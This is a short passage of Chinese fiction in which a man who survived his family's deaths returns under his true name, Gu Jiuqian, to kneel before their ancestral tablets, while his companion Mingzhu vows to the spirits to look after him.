明珠轻笑，“别怕，我在呢。”
顾氏宗祠内，檀香缭绕，烛火燃明。
二十三座灵位奉于香烛之上，顾父、顾母，叔伯婶母，兄长们，还有顾久谦本人。
跪拜的蒲团还未备好，梅辛却衣摆一撩，直接跪地，面对这一整墙灵位，将头重重地磕在砖石上，掷地有声。
“孩儿不孝……”
梅辛蜷着身子，话中满是愧意。
他出逃在外，深受殿下之恩，心安理得做他的梅辛，旧日的一切被遗留在身后。
这些年，他不敢拾起顾久谦这个名字，他总以为冀州不再需要顾久谦，可他却忘了为父母亲人上一炷香，磕一次头，也未能向他们报平安。
幸好，他回来了。
身旁，一个身影挨着他跪下，梅辛扭过头，发现那人竟是明珠，他面露惊慌，想要伸手阻拦，却被明珠按下。
明珠望着面前的牌位，郑重道，“叔叔阿姨，顾久谦他还活着，这些年，他很坚强，如今也长成了很好的大人，你们放心，我会照顾好他，希望顾家在天之灵，得以安息。”
轻柔的风拂过，犹如长辈轻抚的手掌，眼前的碎发被吹开，刮得痒痒的。